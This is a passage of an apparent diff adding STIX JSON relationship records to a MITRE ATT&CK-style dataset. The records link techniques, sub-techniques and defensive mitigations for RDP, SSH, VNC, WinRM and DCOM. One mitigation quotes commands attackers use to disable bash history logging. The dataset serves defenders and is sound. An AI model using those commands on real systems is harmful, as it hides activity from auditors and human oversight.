"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-02-04T12:52:13.385Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--25ca7826-9f46-45e4-97e8-c942f9a2611d", + "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", + "modified": "2020-02-04T12:55:04.101Z", + "source_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + 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"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-04T12:58:40.980Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2112463d-2f28-492a-a1fd-5f87efd2393d", + "description": "Proactively search for credentials within the Registry and attempt to remediate the risk.", + "target_ref": "attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580", + "modified": "2020-02-07T20:49:19.038Z", + "source_ref": "course-of-action--4490fee2-5c70-4db3-8db5-8d88767dbd55", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-04T12:58:40.982Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--adfeb8d8-1ce1-4abe-9861-21e2b26e8caa", + "target_ref": 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preventing a user's command history from being flushed to their .bash_history file, including use of the following commands:\nset +o history and set -o history to start logging again;\nunset HISTFILE being added to a user's .bash_rc file; and\nln -s /dev/null ~/.bash_history to write commands to /dev/nullinstead.", + "target_ref": "attack-pattern--8187bd2a-866f-4457-9009-86b0ddedffa3", + "modified": "2020-02-07T20:48:50.032Z", + "source_ref": "course-of-action--ace4daee-f914-4707-be75-843f16da2edf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-04T13:02:11.987Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c49f7336-749e-483b-8873-9283a377546d", + "target_ref": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517", + "modified": "2020-02-04T13:02:12.002Z", + "source_ref": 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"2020-02-11T19:06:19.039Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--66506cb1-20d5-4cb2-b301-e4a5d2868567", + "target_ref": "attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", + "modified": "2020-02-11T19:08:51.782Z", + "source_ref": "attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-02-11T19:08:51.782Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8d7957af-a314-4e12-bde6-6148e234ff58", + "target_ref": "attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e", + "modified": "2020-02-11T19:09:48.749Z", + "source_ref": "attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-02-11T19:09:48.749Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f6c52b80-6bbc-4a80-9455-40046356cb98", + "target_ref": "attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a", + "modified": "2020-02-11T19:13:33.736Z", + "source_ref": "attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-02-11T19:13:33.736Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d607d79e-a3f0-4236-946c-e434068d008b", + "target_ref": "attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a", + "modified": "2020-02-11T19:14:48.422Z", + "source_ref": "attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-02-11T19:14:48.422Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--944b9cc3-95c7-4e0d-8b62-576aa6cf7217", + "target_ref": "attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a", + "modified": "2020-02-11T20:34:58.622Z", + "source_ref": "attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-02-11T20:34:58.622Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3e24f01c-3af8-4dde-9200-4f69fecb3156", + "target_ref": "attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee", + "modified": "2020-02-11T20:35:32.284Z", + "source_ref": "attack-pattern--b39d03cb-7b98-41c4-a878-c40c1a913dc0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-02-11T20:35:32.284Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--00814703-3c3b-4872-89e9-cea4ba5edf2d", + "target_ref": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517", + "modified": "2020-02-11T20:36:06.423Z", + "source_ref": "attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-02-11T20:36:06.423Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c9005a9a-c6c5-4044-82d7-f108b2e72f93", + "target_ref": "attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d", + "modified": "2020-02-12T14:09:53.660Z", + "source_ref": "attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-02-12T14:09:53.660Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--99994a2f-c6d3-4766-92e4-b8d1e62e8aa4", + "target_ref": "attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d", + "modified": "2020-02-12T14:10:51.040Z", + "source_ref": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-02-12T14:10:51.040Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8fae4ace-c3b5-4c4b-8c1a-98a32c692849", + "description": "Limit remote user permissions if remote access is necessary.", + "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", + "modified": "2020-02-25T19:23:34.337Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-12T14:37:27.473Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e7e4be4c-a6ae-44bc-b3af-9c0c41f9212e", + "description": "Consider removing the local Administrators group from the list of groups allowed to log in through RDP.", + "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", + "modified": "2020-02-25T19:23:34.362Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-12T14:37:27.489Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4b5e4611-ed5c-4223-bc75-5e272090b887", + "description": "Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server.(Citation: Windows RDP Sessions)", + "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", + "modified": "2020-05-20T13:33:51.054Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-12T14:37:27.500Z", + "external_references": [ + { + "source_name": "Windows RDP Sessions", + "description": "Microsoft. (n.d.). Configure Timeout and Reconnection Settings for Remote Desktop Services Sessions. Retrieved December 11, 2017.", + "url": "https://technet.microsoft.com/en-us/library/cc754272(v=ws.11).aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3951503f-c8e9-4331-834e-df4e4afda5fb", + "description": "Do not leave RDP accessible from the internet. Enable firewall rules to block RDP traffic between network security zones within a network.", + "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", + "modified": "2020-02-25T19:23:34.418Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-12T14:37:27.502Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--96014091-aba9-4b8f-ac6a-6cdeb593cf30", + "description": "Use multi-factor authentication for remote logins.(Citation: Berkley Secure)", + "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", + "modified": "2020-02-25T19:23:34.414Z", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-12T14:37:27.517Z", + "external_references": [ + { + "source_name": "Berkley Secure", + "description": "Berkeley Security, University of California. (n.d.). Securing Remote Desktop for System Administrators. Retrieved November 4, 2014.", + "url": "https://security.berkeley.edu/node/94" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--36e86ea2-e0d4-4ade-bae8-212a78c8d569", + "description": "Audit the Remote Desktop Users group membership regularly. Remove unnecessary accounts and groups from Remote Desktop Users groups.", + "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", + "modified": "2020-02-25T19:23:34.413Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-12T14:37:27.524Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--375d3b8b-0e1b-4d3b-b31f-43b0e98436a5", + "description": "Use remote desktop gateways.", + "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", + "modified": "2020-02-25T19:23:34.411Z", + "source_ref": "course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-12T14:37:27.526Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--703a5971-a542-4d7d-8bf5-7a9adb1db852", + "description": "Disable the RDP service if it is unnecessary.", + "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", + "modified": "2020-02-25T19:23:34.421Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-12T14:37:27.528Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--935ca61c-b4ff-4cfc-a4e9-9b8aa9514ea3", + "description": "Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group multiple systems.", + "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", + "modified": "2020-03-23T21:16:03.053Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-12T14:50:52.639Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f72aba67-b581-4836-b5f7-74d125aa906c", + "description": "Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed.", + "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", + "modified": "2020-03-23T21:16:03.050Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-12T14:50:52.646Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--eb21bd35-77bb-4bc4-868d-b6e0940375ca", + "description": "Modify Registry settings (directly or using Dcomcnfg.exe) in `HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\AppID\\{{AppID_GUID}}` associated with the process-wide security of individual COM applications.(Citation: Microsoft Process Wide Com Keys)\n\nModify Registry settings (directly or using Dcomcnfg.exe) in `HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Ole` associated with system-wide security defaults for all COM applications that do not set their own process-wide security.(Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM ACL)", + "target_ref": "attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd", + "modified": "2021-06-23T18:58:33.132Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-12T15:02:01.368Z", + "external_references": [ + { + "source_name": "Microsoft Process Wide Com Keys", + "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.", + "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx" + }, + { + "source_name": "Microsoft System Wide Com Keys", + "description": "Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.", + "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx" + }, + { + "source_name": "Microsoft COM ACL", + "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.", + "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--99651be9-3231-4d78-b36d-5330a3b418fc", + "description": "Enable Windows firewall, which prevents DCOM instantiation by default.", + "target_ref": "attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd", + "modified": "2021-06-23T18:58:33.148Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-12T15:02:01.374Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6fa7ec61-ea14-40d1-b023-d8fd18738da9", + "description": "Consider disabling DCOM through Dcomcnfg.exe.(Citation: Microsoft Disable DCOM)", + "target_ref": "attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd", + "modified": "2021-06-23T18:58:33.169Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-12T15:02:01.396Z", + "external_references": [ + { + "source_name": "Microsoft Disable DCOM", + "description": "Microsoft. (n.d.). Enable or Disable DCOM. Retrieved November 22, 2017.", + "url": "https://technet.microsoft.com/library/cc771387.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7566cba1-7be8-4647-b0ab-2991fcde2abf", + "description": "Ensure all COM alerts and Protected View are enabled.(Citation: Microsoft Protected View)", + "target_ref": "attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd", + "modified": "2021-06-23T18:58:33.186Z", + "source_ref": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-12T15:02:01.398Z", + "external_references": [ + { + "source_name": "Microsoft Protected View", + "description": "Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.", + "url": "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b16c27b4-f94b-43e4-832d-986c03b96ffd", + "description": "Limit which user accounts are allowed to login via SSH.", + "target_ref": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6", + "modified": "2021-10-15T14:15:07.077Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-12T15:05:04.382Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--77c5bb7d-9584-4d57-850b-6349984181a8", + "description": "Require multi-factor authentication for SSH connections wherever possible, such as password protected SSH keys.", + "target_ref": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6", + "modified": "2021-10-15T14:15:07.098Z", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-12T15:05:04.394Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0263d539-39f0-45ca-be2d-0f9198db9af0", + "description": "Disable the SSH daemon on systems that do not require it. For macOS ensure Remote Login is disabled under Sharing Preferences.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)", + "target_ref": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6", + "modified": "2021-10-15T14:15:07.127Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-12T15:05:04.405Z", + "external_references": [ + { + "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins", + "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.", + "source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f5d1e0f1-0e96-41dc-86a4-79307310a001", + "description": "Restrict software installation to user groups that require it. A VNC server must be manually installed by the user or adversary.", + "target_ref": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b", + "modified": "2021-10-07T22:14:25.959Z", + "source_ref": "course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-12T15:22:11.328Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4f05951e-e480-4ffc-b573-3a7aa3fc4b7c", + "description": "VNC defaults to TCP ports 5900 for the server, 5800 for browser access, and 5500 for a viewer in listening mode. Filtering or blocking these ports will inhibit VNC traffic utilizing default ports.", + "target_ref": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b", + "modified": "2021-10-07T22:14:25.952Z", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-12T15:22:11.348Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--703ea9d2-9caf-4753-8485-d12a0e9a2817", + "description": "Inventory workstations for unauthorized VNC server software.", + "target_ref": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b", + "modified": "2021-10-07T22:14:25.992Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-12T15:22:11.357Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--03e384be-6fdd-4967-99a9-6dac5af75729", + "description": "Uninstall any VNC server software where not required.", + "target_ref": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b", + "modified": "2021-10-07T22:14:25.991Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-12T15:22:11.359Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--335d97be-914a-4198-aa06-55095e850ffc", + "description": "If the service is necessary, lock down critical enclaves with separate WinRM accounts and permissions.", + "target_ref": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", + "modified": "2021-06-23T19:22:53.121Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-12T15:27:00.954Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cb57c953-1aab-4706-8947-545d4cb0cdce", + "description": "If the service is necessary, lock down critical enclaves with separate WinRM infrastructure and follow WinRM best practices on use of host firewalls to restrict WinRM access to allow communication only to/from specific devices.(Citation: NSA Spotting)", + "target_ref": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", + "modified": "2021-06-23T19:22:53.131Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-12T15:27:00.955Z", + "external_references": [ + { + "url": "https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm", + "description": "National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018.", + "source_name": "NSA Spotting" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1677745c-06d5-4791-be9c-1104549c34b2", + "description": "Disable the WinRM service.", + "target_ref": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", + "modified": "2021-06-23T19:22:53.135Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-02-12T15:27:00.960Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--63097f33-1259-4120-8fb0-3a1cf1b6d4ec", + "target_ref": "attack-pattern--a2029942-0a85-4947-b23c-ca434698171d", + "modified": "2020-02-12T16:34:07.077Z", + "source_ref": "attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-02-12T16:34:07.077Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fb82f6d3-0e6b-4fa5-a54a-f7deb28f8324", + "target_ref": "attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6", + "modified": "2020-02-12T16:47:16.693Z", + "source_ref": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-02-12T16:47:16.693Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c9a1bcec-9a4d-4693-accb-5a6f67b857f6", + "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "modified": "2020-02-12T18:55:24.841Z", + "source_ref": "attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-02-12T18:55:24.841Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3871b3d6-9b62-4f20-af9f-8317b263b5a8", + "target_ref": "attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3", + "modified": "2020-02-12T18:55:55.461Z", + "source_ref": "attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-02-12T18:55:55.461Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ee14c1f8-55f5-4fcf-adc3-dc34d6ade005", + "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "modified": "2020-02-12T18:56:31.130Z", + "source_ref": "attack-pattern--1a80d097-54df-41d8-9d33-34e755ec5e72", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-02-12T18:56:31.130Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--844a7c42-0d65-4e10-b438-e7aad091e443", + "target_ref": "attack-pattern--1a80d097-54df-41d8-9d33-34e755ec5e72", + "modified": "2020-02-12T18:56:59.293Z", + "source_ref": "attack-pattern--2715c335-1bf2-4efe-9f18-0691317ff83b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-02-12T18:56:59.293Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": 